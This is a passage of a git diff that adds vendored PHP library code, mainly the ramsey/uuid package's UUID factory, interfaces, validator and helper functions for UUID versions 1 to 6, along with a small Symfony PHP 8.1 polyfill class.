+ } + + return self::$factory; + } + + /** + * Sets the factory used to create UUIDs + * + * @param UuidFactoryInterface $factory A factory that will be used by this + * class to create UUIDs + */ + public static function setFactory(UuidFactoryInterface $factory): void + { + // Note: non-strict equality is intentional here. If the factory is configured differently, every assumption + // around purity is broken, and we have to internally decide everything differently. + // phpcs:ignore SlevomatCodingStandard.Operators.DisallowEqualOperators.DisallowedNotEqualOperator + self::$factoryReplaced = ($factory != new UuidFactory()); + + self::$factory = $factory; + } + + /** + * Creates a UUID from a byte string + * + * @param string $bytes A binary string + * + * @return UuidInterface A UuidInterface instance created from a binary + * string representation + * + * @psalm-pure note: changing the internal factory is an edge case not covered by purity invariants, + * but under constant factory setups, this method operates in functionally pure manners + * + * @psalm-suppress ImpureStaticProperty we know that the factory being replaced can lead to massive + * havoc across all consumers: that should never happen, and + * is generally to be discouraged. Until the factory is kept + * un-replaced, this method is effectively pure. + */ + public static function fromBytes(string $bytes): UuidInterface + { + if (! self::$factoryReplaced && strlen($bytes) === 16) { + $base16Uuid = bin2hex($bytes); + + // Note: we are calling `fromString` internally because we don't know if the given `$bytes` is a valid UUID + return self::fromString( + substr($base16Uuid, 0, 8) + . '-' + . substr($base16Uuid, 8, 4) + . '-' + . substr($base16Uuid, 12, 4) + . '-' + . substr($base16Uuid, 16, 4) + . '-' + . substr($base16Uuid, 20, 12) + ); + } + + return self::getFactory()->fromBytes($bytes); + } + + /** + * Creates a UUID from the string standard representation + * + * @param string $uuid A hexadecimal string + * + * @return UuidInterface A UuidInterface instance created from a hexadecimal + * string representation + * + * @psalm-pure note: changing the internal factory is an edge case not covered by purity invariants, + * but under constant factory setups, this method operates in functionally pure manners + * + * @psalm-suppress ImpureStaticProperty we know that the factory being replaced can lead to massive + * havoc across all consumers: that should never happen, and + * is generally to be discouraged. Until the factory is kept + * un-replaced, this method is effectively pure. + */ + public static function fromString(string $uuid): UuidInterface + { + if (! self::$factoryReplaced && preg_match(LazyUuidFromString::VALID_REGEX, $uuid) === 1) { + assert($uuid !== ''); + + return new LazyUuidFromString(strtolower($uuid)); + } + + return self::getFactory()->fromString($uuid); + } + + /** + * Creates a UUID from a DateTimeInterface instance + * + * @param DateTimeInterface $dateTime The date and time + * @param Hexadecimal|null $node A 48-bit number representing the hardware + * address + * @param int|null $clockSeq A 14-bit number used to help avoid duplicates + * that could arise when the clock is set backwards in time or if the + * node ID changes + * + * @return UuidInterface A UuidInterface instance that represents a + * version 1 UUID created from a DateTimeInterface instance + */ + public static function fromDateTime( + DateTimeInterface $dateTime, + ?Hexadecimal $node = null, + ?int $clockSeq = null + ): UuidInterface { + return self::getFactory()->fromDateTime($dateTime, $node, $clockSeq); + } + + /** + * Creates a UUID from a 128-bit integer string + * + * @param string $integer String representation of 128-bit integer + * + * @return UuidInterface A UuidInterface instance created from the string + * representation of a 128-bit integer + * + * @psalm-pure note: changing the internal factory is an edge case not covered by purity invariants, + * but under constant factory setups, this method operates in functionally pure manners + */ + public static function fromInteger(string $integer): UuidInterface + { + return self::getFactory()->fromInteger($integer); + } + + /** + * Returns true if the provided string is a valid UUID + * + * @param string $uuid A string to validate as a UUID + * + * @return bool True if the string is a valid UUID, false otherwise + * + * @psalm-pure note: changing the internal factory is an edge case not covered by purity invariants, + * but under constant factory setups, this method operates in functionally pure manners + */ + public static function isValid(string $uuid): bool + { + return self::getFactory()->getValidator()->validate($uuid); + } + + /** + * Returns a version 1 (time-based) UUID from a host ID, sequence number, + * and the current time + * + * @param Hexadecimal|int|string|null $node A 48-bit number representing the + * hardware address; this number may be represented as an integer or a + * hexadecimal string + * @param int $clockSeq A 14-bit number used to help avoid duplicates that + * could arise when the clock is set backwards in time or if the node ID + * changes + * + * @return UuidInterface A UuidInterface instance that represents a + * version 1 UUID + */ + public static function uuid1($node = null, ?int $clockSeq = null): UuidInterface + { + return self::getFactory()->uuid1($node, $clockSeq); + } + + /** + * Returns a version 2 (DCE Security) UUID from a local domain, local + * identifier, host ID, clock sequence, and the current time + * + * @param int $localDomain The local domain to use when generating bytes, + * according to DCE Security + * @param IntegerObject|null $localIdentifier The local identifier for the + * given domain; this may be a UID or GID on POSIX systems, if the local + * domain is person or group, or it may be a site-defined identifier + * if the local domain is org + * @param Hexadecimal|null $node A 48-bit number representing the hardware + * address + * @param int|null $clockSeq A 14-bit number used to help avoid duplicates + * that could arise when the clock is set backwards in time or if the + * node ID changes (in a version 2 UUID, the lower 8 bits of this number + * are replaced with the domain). + * + * @return UuidInterface A UuidInterface instance that represents a + * version 2 UUID + */ + public static function uuid2( + int $localDomain, + ?IntegerObject $localIdentifier = null, + ?Hexadecimal $node = null, + ?int $clockSeq = null + ): UuidInterface { + return self::getFactory()->uuid2($localDomain, $localIdentifier, $node, $clockSeq); + } + + /** + * Returns a version 3 (name-based) UUID based on the MD5 hash of a + * namespace ID and a name + * + * @param string|UuidInterface $ns The namespace (must be a valid UUID) + * @param string $name The name to use for creating a UUID + * + * @return UuidInterface A UuidInterface instance that represents a + * version 3 UUID + * + * @psalm-suppress ImpureMethodCall we know that the factory being replaced can lead to massive + * havoc across all consumers: that should never happen, and + * is generally to be discouraged. Until the factory is kept + * un-replaced, this method is effectively pure. + * + * @psalm-pure note: changing the internal factory is an edge case not covered by purity invariants, + * but under constant factory setups, this method operates in functionally pure manners + */ + public static function uuid3($ns, string $name): UuidInterface + { + return self::getFactory()->uuid3($ns, $name); + } + + /** + * Returns a version 4 (random) UUID + * + * @return UuidInterface A UuidInterface instance that represents a + * version 4 UUID + */ + public static function uuid4(): UuidInterface + { + return self::getFactory()->uuid4(); + } + + /** + * Returns a version 5 (name-based) UUID based on the SHA-1 hash of a + * namespace ID and a name + * + * @param string|UuidInterface $ns The namespace (must be a valid UUID) + * @param string $name The name to use for creating a UUID + * + * @return UuidInterface A UuidInterface instance that represents a + * version 5 UUID + * + * @psalm-pure note: changing the internal factory is an edge case not covered by purity invariants, + * but under constant factory setups, this method operates in functionally pure manners + * + * @psalm-suppress ImpureMethodCall we know that the factory being replaced can lead to massive + * havoc across all consumers: that should never happen, and + * is generally to be discouraged. Until the factory is kept + * un-replaced, this method is effectively pure. + */ + public static function uuid5($ns, string $name): UuidInterface + { + return self::getFactory()->uuid5($ns, $name); + } + + /** + * Returns a version 6 (ordered-time) UUID from a host ID, sequence number, + * and the current time + * + * @param Hexadecimal|null $node A 48-bit number representing the hardware + * address + * @param int $clockSeq A 14-bit number used to help avoid duplicates that + * could arise when the clock is set backwards in time or if the node ID + * changes + * + * @return UuidInterface A UuidInterface instance that represents a + * version 6 UUID + */ + public static function uuid6( + ?Hexadecimal $node = null, + ?int $clockSeq = null + ): UuidInterface { + return self::getFactory()->uuid6($node, $clockSeq); + } +} diff --git a/vendor/ramsey/uuid/src/UuidFactory.php b/vendor/ramsey/uuid/src/UuidFactory.php new file mode 100644 index 000000000..6f2cea061 --- /dev/null +++ b/vendor/ramsey/uuid/src/UuidFactory.php @@ -0,0 +1,493 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid; + +use DateTimeInterface; +use Ramsey\Uuid\Builder\UuidBuilderInterface; +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Generator\DceSecurityGeneratorInterface; +use Ramsey\Uuid\Generator\DefaultTimeGenerator; +use Ramsey\Uuid\Generator\NameGeneratorInterface; +use Ramsey\Uuid\Generator\RandomGeneratorInterface; +use Ramsey\Uuid\Generator\TimeGeneratorInterface; +use Ramsey\Uuid\Lazy\LazyUuidFromString; +use Ramsey\Uuid\Provider\NodeProviderInterface; +use Ramsey\Uuid\Provider\Time\FixedTimeProvider; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Ramsey\Uuid\Type\Time; +use Ramsey\Uuid\Validator\ValidatorInterface; + +use function bin2hex; +use function hex2bin; +use function pack; +use function str_pad; +use function strtolower; +use function substr; +use function substr_replace; +use function unpack; + +use const STR_PAD_LEFT; + +class UuidFactory implements UuidFactoryInterface +{ + /** + * @var CodecInterface + */ + private $codec; + + /** + * @var DceSecurityGeneratorInterface + */ + private $dceSecurityGenerator; + + /** + * @var NameGeneratorInterface + */ + private $nameGenerator; + + /** + * @var NodeProviderInterface + */ + private $nodeProvider; + + /** + * @var NumberConverterInterface + */ + private $numberConverter; + + /** + * @var RandomGeneratorInterface + */ + private $randomGenerator; + + /** + * @var TimeConverterInterface + */ + private $timeConverter; + + /** + * @var TimeGeneratorInterface + */ + private $timeGenerator; + + /** + * @var UuidBuilderInterface + */ + private $uuidBuilder; + + /** + * @var ValidatorInterface + */ + private $validator; + + /** @var bool whether the feature set was provided from outside, or we can operate under "default" assumptions */ + private $isDefaultFeatureSet; + + /** + * @param FeatureSet $features A set of available features in the current environment + */ + public function __construct(?FeatureSet $features = null) + { + $this->isDefaultFeatureSet = $features === null; + + $features = $features ?: new FeatureSet(); + + $this->codec = $features->getCodec(); + $this->dceSecurityGenerator = $features->getDceSecurityGenerator(); + $this->nameGenerator = $features->getNameGenerator(); + $this->nodeProvider = $features->getNodeProvider(); + $this->numberConverter = $features->getNumberConverter(); + $this->randomGenerator = $features->getRandomGenerator(); + $this->timeConverter = $features->getTimeConverter(); + $this->timeGenerator = $features->getTimeGenerator(); + $this->uuidBuilder = $features->getBuilder(); + $this->validator = $features->getValidator(); + } + + /** + * Returns the codec used by this factory + */ + public function getCodec(): CodecInterface + { + return $this->codec; + } + + /** + * Sets the codec to use for this factory + * + * @param CodecInterface $codec A UUID encoder-decoder + */ + public function setCodec(CodecInterface $codec): void + { + $this->isDefaultFeatureSet = false; + + $this->codec = $codec; + } + + /** + * Returns the name generator used by this factory + */ + public function getNameGenerator(): NameGeneratorInterface + { + return $this->nameGenerator; + } + + /** + * Sets the name generator to use for this factory + * + * @param NameGeneratorInterface $nameGenerator A generator to generate + * binary data, based on a namespace and name + */ + public function setNameGenerator(NameGeneratorInterface $nameGenerator): void + { + $this->isDefaultFeatureSet = false; + + $this->nameGenerator = $nameGenerator; + } + + /** + * Returns the node provider used by this factory + */ + public function getNodeProvider(): NodeProviderInterface + { + return $this->nodeProvider; + } + + /** + * Returns the random generator used by this factory + */ + public function getRandomGenerator(): RandomGeneratorInterface + { + return $this->randomGenerator; + } + + /** + * Returns the time generator used by this factory + */ + public function getTimeGenerator(): TimeGeneratorInterface + { + return $this->timeGenerator; + } + + /** + * Sets the time generator to use for this factory + * + * @param TimeGeneratorInterface $generator A generator to generate binary + * data, based on the time + */ + public function setTimeGenerator(TimeGeneratorInterface $generator): void + { + $this->isDefaultFeatureSet = false; + + $this->timeGenerator = $generator; + } + + /** + * Returns the DCE Security generator used by this factory + */ + public function getDceSecurityGenerator(): DceSecurityGeneratorInterface + { + return $this->dceSecurityGenerator; + } + + /** + * Sets the DCE Security generator to use for this factory + * + * @param DceSecurityGeneratorInterface $generator A generator to generate + * binary data, based on a local domain and local identifier + */ + public function setDceSecurityGenerator(DceSecurityGeneratorInterface $generator): void + { + $this->isDefaultFeatureSet = false; + + $this->dceSecurityGenerator = $generator; + } + + /** + * Returns the number converter used by this factory + */ + public function getNumberConverter(): NumberConverterInterface + { + return $this->numberConverter; + } + + /** + * Sets the random generator to use for this factory + * + * @param RandomGeneratorInterface $generator A generator to generate binary + * data, based on some random input + */ + public function setRandomGenerator(RandomGeneratorInterface $generator): void + { + $this->isDefaultFeatureSet = false; + + $this->randomGenerator = $generator; + } + + /** + * Sets the number converter to use for this factory + * + * @param NumberConverterInterface $converter A converter to use for working + * with large integers (i.e. integers greater than PHP_INT_MAX) + */ + public function setNumberConverter(NumberConverterInterface $converter): void + { + $this->isDefaultFeatureSet = false; + + $this->numberConverter = $converter; + } + + /** + * Returns the UUID builder used by this factory + */ + public function getUuidBuilder(): UuidBuilderInterface + { + return $this->uuidBuilder; + } + + /** + * Sets the UUID builder to use for this factory + * + * @param UuidBuilderInterface $builder A builder for constructing instances + * of UuidInterface + */ + public function setUuidBuilder(UuidBuilderInterface $builder): void + { + $this->isDefaultFeatureSet = false; + + $this->uuidBuilder = $builder; + } + + /** + * @psalm-mutation-free + */ + public function getValidator(): ValidatorInterface + { + return $this->validator; + } + + /** + * Sets the validator to use for this factory + * + * @param ValidatorInterface $validator A validator to use for validating + * whether a string is a valid UUID + */ + public function setValidator(ValidatorInterface $validator): void + { + $this->isDefaultFeatureSet = false; + + $this->validator = $validator; + } + + /** + * @psalm-pure + */ + public function fromBytes(string $bytes): UuidInterface + { + return $this->codec->decodeBytes($bytes); + } + + /** + * @psalm-pure + */ + public function fromString(string $uuid): UuidInterface + { + $uuid = strtolower($uuid); + + return $this->codec->decode($uuid); + } + + /** + * @psalm-pure + */ + public function fromInteger(string $integer): UuidInterface + { + $hex = $this->numberConverter->toHex($integer); + $hex = str_pad($hex, 32, '0', STR_PAD_LEFT); + + return $this->fromString($hex); + } + + public function fromDateTime( + DateTimeInterface $dateTime, + ?Hexadecimal $node = null, + ?int $clockSeq = null + ): UuidInterface { + $timeProvider = new FixedTimeProvider( + new Time($dateTime->format('U'), $dateTime->format('u')) + ); + + $timeGenerator = new DefaultTimeGenerator( + $this->nodeProvider, + $this->timeConverter, + $timeProvider + ); + + $nodeHex = $node ? $node->toString() : null; + + $bytes = $timeGenerator->generate($nodeHex, $clockSeq); + + return $this->uuidFromBytesAndVersion($bytes, 1); + } + + /** + * @inheritDoc + */ + public function uuid1($node = null, ?int $clockSeq = null): UuidInterface + { + $bytes = $this->timeGenerator->generate($node, $clockSeq); + + return $this->uuidFromBytesAndVersion($bytes, 1); + } + + public function uuid2( + int $localDomain, + ?IntegerObject $localIdentifier = null, + ?Hexadecimal $node = null, + ?int $clockSeq = null + ): UuidInterface { + $bytes = $this->dceSecurityGenerator->generate( + $localDomain, + $localIdentifier, + $node, + $clockSeq + ); + + return $this->uuidFromBytesAndVersion($bytes, 2); + } + + /** + * @inheritDoc + * @psalm-pure + */ + public function uuid3($ns, string $name): UuidInterface + { + return $this->uuidFromNsAndName($ns, $name, 3, 'md5'); + } + + public function uuid4(): UuidInterface + { + $bytes = $this->randomGenerator->generate(16); + + return $this->uuidFromBytesAndVersion($bytes, 4); + } + + /** + * @inheritDoc + * @psalm-pure + */ + public function uuid5($ns, string $name): UuidInterface + { + return $this->uuidFromNsAndName($ns, $name, 5, 'sha1'); + } + + public function uuid6(?Hexadecimal $node = null, ?int $clockSeq = null): UuidInterface + { + $nodeHex = $node ? $node->toString() : null; + $bytes = $this->timeGenerator->generate($nodeHex, $clockSeq); + + // Rearrange the bytes, according to the UUID version 6 specification. + $v6 = $bytes[6] . $bytes[7] . $bytes[4] . $bytes[5] + . $bytes[0] . $bytes[1] . $bytes[2] . $bytes[3]; + $v6 = bin2hex($v6); + + // Drop the first four bits, while adding an empty four bits for the + // version field. This allows us to reconstruct the correct time from + // the bytes of this UUID. + $v6Bytes = hex2bin(substr($v6, 1, 12) . '0' . substr($v6, -3)); + $v6Bytes .= substr($bytes, 8); + + return $this->uuidFromBytesAndVersion($v6Bytes, 6); + } + + /** + * Returns a Uuid created from the provided byte string + * + * Uses the configured builder and codec and the provided byte string to + * construct a Uuid object. + * + * @param string $bytes The byte string from which to construct a UUID + * + * @return UuidInterface An instance of UuidInterface, created from the + * provided bytes + * + * @psalm-pure + */ + public function uuid(string $bytes): UuidInterface + { + return $this->uuidBuilder->build($this->codec, $bytes); + } + + /** + * Returns a version 3 or 5 namespaced Uuid + * + * @param string|UuidInterface $ns The namespace (must be a valid UUID) + * @param string $name The name to hash together with the namespace + * @param int $version The version of UUID to create (3 or 5) + * @param string $hashAlgorithm The hashing algorithm to use when hashing + * together the namespace and name + * + * @return UuidInterface An instance of UuidInterface, created by hashing + * together the provided namespace and name + * + * @psalm-pure + */ + private function uuidFromNsAndName($ns, string $name, int $version, string $hashAlgorithm): UuidInterface + { + if (!($ns instanceof UuidInterface)) { + $ns = $this->fromString($ns); + } + + $bytes = $this->nameGenerator->generate($ns, $name, $hashAlgorithm); + + return $this->uuidFromBytesAndVersion(substr($bytes, 0, 16), $version); + } + + /** + * Returns an RFC 4122 variant Uuid, created from the provided bytes and version + * + * @param string $bytes The byte string to convert to a UUID + * @param int $version The RFC 4122 version to apply to the UUID + * + * @return UuidInterface An instance of UuidInterface, created from the + * byte string and version + * + * @psalm-pure + */ + private function uuidFromBytesAndVersion(string $bytes, int $version): UuidInterface + { + /** @var array $unpackedTime */ + $unpackedTime = unpack('n*', substr($bytes, 6, 2)); + $timeHi = (int) $unpackedTime[1]; + $timeHiAndVersion = pack('n*', BinaryUtils::applyVersion($timeHi, $version)); + + /** @var array $unpackedClockSeq */ + $unpackedClockSeq = unpack('n*', substr($bytes, 8, 2)); + $clockSeqHi = (int) $unpackedClockSeq[1]; + $clockSeqHiAndReserved = pack('n*', BinaryUtils::applyVariant($clockSeqHi)); + + $bytes = substr_replace($bytes, $timeHiAndVersion, 6, 2); + $bytes = substr_replace($bytes, $clockSeqHiAndReserved, 8, 2); + + if ($this->isDefaultFeatureSet) { + return LazyUuidFromString::fromBytes($bytes); + } + + return $this->uuid($bytes); + } +} diff --git a/vendor/ramsey/uuid/src/UuidFactoryInterface.php b/vendor/ramsey/uuid/src/UuidFactoryInterface.php new file mode 100644 index 000000000..468cc6377 --- /dev/null +++ b/vendor/ramsey/uuid/src/UuidFactoryInterface.php @@ -0,0 +1,182 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid; + +use DateTimeInterface; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Ramsey\Uuid\Validator\ValidatorInterface; + +/** + * UuidFactoryInterface defines common functionality all `UuidFactory` instances + * must implement + */ +interface UuidFactoryInterface +{ + /** + * Returns the validator to use for the factory + * + * @psalm-mutation-free + */ + public function getValidator(): ValidatorInterface; + + /** + * Returns a version 1 (time-based) UUID from a host ID, sequence number, + * and the current time + * + * @param Hexadecimal|int|string|null $node A 48-bit number representing the + * hardware address; this number may be represented as an integer or a + * hexadecimal string + * @param int|null $clockSeq A 14-bit number used to help avoid duplicates + * that could arise when the clock is set backwards in time or if the + * node ID changes + * + * @return UuidInterface A UuidInterface instance that represents a + * version 1 UUID + */ + public function uuid1($node = null, ?int $clockSeq = null): UuidInterface; + + /** + * Returns a version 2 (DCE Security) UUID from a local domain, local + * identifier, host ID, clock sequence, and the current time + * + * @param int $localDomain The local domain to use when generating bytes, + * according to DCE Security + * @param IntegerObject|null $localIdentifier The local identifier for the + * given domain; this may be a UID or GID on POSIX systems, if the local + * domain is person or group, or it may be a site-defined identifier + * if the local domain is org + * @param Hexadecimal|null $node A 48-bit number representing the hardware + * address + * @param int|null $clockSeq A 14-bit number used to help avoid duplicates + * that could arise when the clock is set backwards in time or if the + * node ID changes + * + * @return UuidInterface A UuidInterface instance that represents a + * version 2 UUID + */ + public function uuid2( + int $localDomain, + ?IntegerObject $localIdentifier = null, + ?Hexadecimal $node = null, + ?int $clockSeq = null + ): UuidInterface; + + /** + * Returns a version 3 (name-based) UUID based on the MD5 hash of a + * namespace ID and a name + * + * @param string|UuidInterface $ns The namespace (must be a valid UUID) + * @param string $name The name to use for creating a UUID + * + * @return UuidInterface A UuidInterface instance that represents a + * version 3 UUID + * + * @psalm-pure + */ + public function uuid3($ns, string $name): UuidInterface; + + /** + * Returns a version 4 (random) UUID + * + * @return UuidInterface A UuidInterface instance that represents a + * version 4 UUID + */ + public function uuid4(): UuidInterface; + + /** + * Returns a version 5 (name-based) UUID based on the SHA-1 hash of a + * namespace ID and a name + * + * @param string|UuidInterface $ns The namespace (must be a valid UUID) + * @param string $name The name to use for creating a UUID + * + * @return UuidInterface A UuidInterface instance that represents a + * version 5 UUID + * + * @psalm-pure + */ + public function uuid5($ns, string $name): UuidInterface; + + /** + * Returns a version 6 (ordered-time) UUID from a host ID, sequence number, + * and the current time + * + * @param Hexadecimal|null $node A 48-bit number representing the hardware + * address + * @param int|null $clockSeq A 14-bit number used to help avoid duplicates + * that could arise when the clock is set backwards in time or if the + * node ID changes + * + * @return UuidInterface A UuidInterface instance that represents a + * version 6 UUID + */ + public function uuid6(?Hexadecimal $node = null, ?int $clockSeq = null): UuidInterface; + + /** + * Creates a UUID from a byte string + * + * @param string $bytes A binary string + * + * @return UuidInterface A UuidInterface instance created from a binary + * string representation + * + * @psalm-pure + */ + public function fromBytes(string $bytes): UuidInterface; + + /** + * Creates a UUID from the string standard representation + * + * @param string $uuid A hexadecimal string + * + * @return UuidInterface A UuidInterface instance created from a hexadecimal + * string representation + * + * @psalm-pure + */ + public function fromString(string $uuid): UuidInterface; + + /** + * Creates a UUID from a 128-bit integer string + * + * @param string $integer String representation of 128-bit integer + * + * @return UuidInterface A UuidInterface instance created from the string + * representation of a 128-bit integer + * + * @psalm-pure + */ + public function fromInteger(string $integer): UuidInterface; + + /** + * Creates a UUID from a DateTimeInterface instance + * + * @param DateTimeInterface $dateTime The date and time + * @param Hexadecimal|null $node A 48-bit number representing the hardware + * address + * @param int|null $clockSeq A 14-bit number used to help avoid duplicates + * that could arise when the clock is set backwards in time or if the + * node ID changes + * + * @return UuidInterface A UuidInterface instance that represents a + * version 1 UUID created from a DateTimeInterface instance + */ + public function fromDateTime( + DateTimeInterface $dateTime, + ?Hexadecimal $node = null, + ?int $clockSeq = null + ): UuidInterface; +} diff --git a/vendor/ramsey/uuid/src/UuidInterface.php b/vendor/ramsey/uuid/src/UuidInterface.php new file mode 100644 index 000000000..f22eb0f99 --- /dev/null +++ b/vendor/ramsey/uuid/src/UuidInterface.php @@ -0,0 +1,99 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid; + +use JsonSerializable; +use Ramsey\Uuid\Fields\FieldsInterface; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Serializable; + +/** + * A UUID is a universally unique identifier adhering to an agreed-upon + * representation format and standard for generation + * + * @psalm-immutable + */ +interface UuidInterface extends + DeprecatedUuidInterface, + JsonSerializable, + Serializable +{ + /** + * Returns -1, 0, or 1 if the UUID is less than, equal to, or greater than + * the other UUID + * + * The first of two UUIDs is greater than the second if the most + * significant field in which the UUIDs differ is greater for the first + * UUID. + * + * * Q. What's the value of being able to sort UUIDs? + * * A. Use them as keys in a B-Tree or similar mapping. + * + * @param UuidInterface $other The UUID to compare + * + * @return int -1, 0, or 1 if the UUID is less than, equal to, or greater than $other + */ + public function compareTo(UuidInterface $other): int; + + /** + * Returns true if the UUID is equal to the provided object + * + * The result is true if and only if the argument is not null, is a UUID + * object, has the same variant, and contains the same value, bit for bit, + * as the UUID. + * + * @param object|null $other An object to test for equality with this UUID + * + * @return bool True if the other object is equal to this UUID + */ + public function equals(?object $other): bool; + + /** + * Returns the binary string representation of the UUID + * + * @psalm-return non-empty-string + */ + public function getBytes(): string; + + /** + * Returns the fields that comprise this UUID + */ + public function getFields(): FieldsInterface; + + /** + * Returns the hexadecimal representation of the UUID + */ + public function getHex(): Hexadecimal; + + /** + * Returns the integer representation of the UUID + */ + public function getInteger(): IntegerObject; + + /** + * Returns the string standard representation of the UUID + * + * @psalm-return non-empty-string + */ + public function toString(): string; + + /** + * Casts the UUID to the string standard representation + * + * @psalm-return non-empty-string + */ + public function __toString(): string; +} diff --git a/vendor/ramsey/uuid/src/Validator/GenericValidator.php b/vendor/ramsey/uuid/src/Validator/GenericValidator.php new file mode 100644 index 000000000..fd6095511 --- /dev/null +++ b/vendor/ramsey/uuid/src/Validator/GenericValidator.php @@ -0,0 +1,50 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Validator; + +use Ramsey\Uuid\Uuid; + +use function preg_match; +use function str_replace; + +/** + * GenericValidator validates strings as UUIDs of any variant + * + * @psalm-immutable + */ +final class GenericValidator implements ValidatorInterface +{ + /** + * Regular expression pattern for matching a UUID of any variant. + */ + private const VALID_PATTERN = '\A[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}\z'; + + /** + * @psalm-return non-empty-string + * @psalm-suppress MoreSpecificReturnType we know that the retrieved `string` is never empty + * @psalm-suppress LessSpecificReturnStatement we know that the retrieved `string` is never empty + */ + public function getPattern(): string + { + return self::VALID_PATTERN; + } + + public function validate(string $uuid): bool + { + $uuid = str_replace(['urn:', 'uuid:', 'URN:', 'UUID:', '{', '}'], '', $uuid); + + return $uuid === Uuid::NIL || preg_match('/' . self::VALID_PATTERN . '/Dms', $uuid); + } +} diff --git a/vendor/ramsey/uuid/src/Validator/ValidatorInterface.php b/vendor/ramsey/uuid/src/Validator/ValidatorInterface.php new file mode 100644 index 000000000..3d4bd6f28 --- /dev/null +++ b/vendor/ramsey/uuid/src/Validator/ValidatorInterface.php @@ -0,0 +1,41 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Validator; + +/** + * A validator validates a string as a proper UUID + * + * @psalm-immutable + */ +interface ValidatorInterface +{ + /** + * Returns the regular expression pattern used by this validator + * + * @return string The regular expression pattern this validator uses + * + * @psalm-return non-empty-string + */ + public function getPattern(): string; + + /** + * Returns true if the provided string represents a UUID + * + * @param string $uuid The string to validate as a UUID + * + * @return bool True if the string is a valid UUID, false otherwise + */ + public function validate(string $uuid): bool; +} diff --git a/vendor/ramsey/uuid/src/functions.php b/vendor/ramsey/uuid/src/functions.php new file mode 100644 index 000000000..f5df1488d --- /dev/null +++ b/vendor/ramsey/uuid/src/functions.php @@ -0,0 +1,123 @@ + + * @license http://opensource.org/licenses/MIT MIT + * phpcs:disable Squiz.Functions.GlobalFunction + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid; + +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; + +/** + * Returns a version 1 (time-based) UUID from a host ID, sequence number, + * and the current time + * + * @param Hexadecimal|int|string|null $node A 48-bit number representing the + * hardware address; this number may be represented as an integer or a + * hexadecimal string + * @param int $clockSeq A 14-bit number used to help avoid duplicates that + * could arise when the clock is set backwards in time or if the node ID + * changes + * + * @return non-empty-string Version 1 UUID as a string + */ +function v1($node = null, ?int $clockSeq = null): string +{ + return Uuid::uuid1($node, $clockSeq)->toString(); +} + +/** + * Returns a version 2 (DCE Security) UUID from a local domain, local + * identifier, host ID, clock sequence, and the current time + * + * @param int $localDomain The local domain to use when generating bytes, + * according to DCE Security + * @param IntegerObject|null $localIdentifier The local identifier for the + * given domain; this may be a UID or GID on POSIX systems, if the local + * domain is person or group, or it may be a site-defined identifier + * if the local domain is org + * @param Hexadecimal|null $node A 48-bit number representing the hardware + * address + * @param int|null $clockSeq A 14-bit number used to help avoid duplicates + * that could arise when the clock is set backwards in time or if the + * node ID changes + * + * @return non-empty-string Version 2 UUID as a string + */ +function v2( + int $localDomain, + ?IntegerObject $localIdentifier = null, + ?Hexadecimal $node = null, + ?int $clockSeq = null +): string { + return Uuid::uuid2($localDomain, $localIdentifier, $node, $clockSeq)->toString(); +} + +/** + * Returns a version 3 (name-based) UUID based on the MD5 hash of a + * namespace ID and a name + * + * @param string|UuidInterface $ns The namespace (must be a valid UUID) + * + * @return non-empty-string Version 3 UUID as a string + * + * @psalm-pure note: changing the internal factory is an edge case not covered by purity invariants, + * but under constant factory setups, this method operates in functionally pure manners + */ +function v3($ns, string $name): string +{ + return Uuid::uuid3($ns, $name)->toString(); +} + +/** + * Returns a version 4 (random) UUID + * + * @return non-empty-string Version 4 UUID as a string + */ +function v4(): string +{ + return Uuid::uuid4()->toString(); +} + +/** + * Returns a version 5 (name-based) UUID based on the SHA-1 hash of a + * namespace ID and a name + * + * @param string|UuidInterface $ns The namespace (must be a valid UUID) + * + * @return non-empty-string Version 5 UUID as a string + * + * @psalm-pure note: changing the internal factory is an edge case not covered by purity invariants, + * but under constant factory setups, this method operates in functionally pure manners + */ +function v5($ns, string $name): string +{ + return Uuid::uuid5($ns, $name)->toString(); +} + +/** + * Returns a version 6 (ordered-time) UUID from a host ID, sequence number, + * and the current time + * + * @param Hexadecimal|null $node A 48-bit number representing the hardware + * address + * @param int $clockSeq A 14-bit number used to help avoid duplicates that + * could arise when the clock is set backwards in time or if the node ID + * changes + * + * @return non-empty-string Version 6 UUID as a string + */ +function v6(?Hexadecimal $node = null, ?int $clockSeq = null): string +{ + return Uuid::uuid6($node, $clockSeq)->toString(); +} diff --git a/vendor/symfony/polyfill-php81/Php81.php b/vendor/symfony/polyfill-php81/Php81.php new file mode 100644 index 000000000..f0507b765 --- /dev/null +++ b/vendor/symfony/polyfill-php81/Php81.php @@ -0,0 +1,37 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Polyfill\Php81; + +/** + * @author Nicolas Grekas + * + * @internal + */ +final class Php81 +{ + public static function array_is_list(array $array): bool + { + if ([] === $array || $array === array_values($array)) { + return true; + } + + $nextKey = -1; + + foreach ($array as $k => $v) { + if ($k !== ++$nextKey) { + return false; + } + } + + return true; + } +} diff --git a/vendor/symfony/polyfill-php81/Resources/stubs/CURLStringFile.php b/vendor/symfony/polyfill-php81/Resources/stubs/CURLStringFile.php new file mode 100644 index 000000000..eb5952ee3 --- /dev/null +++ b/vendor/symfony/polyfill-php81/Resources/stubs/CURLStringFile.php @@ -0,0 +1,51 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + 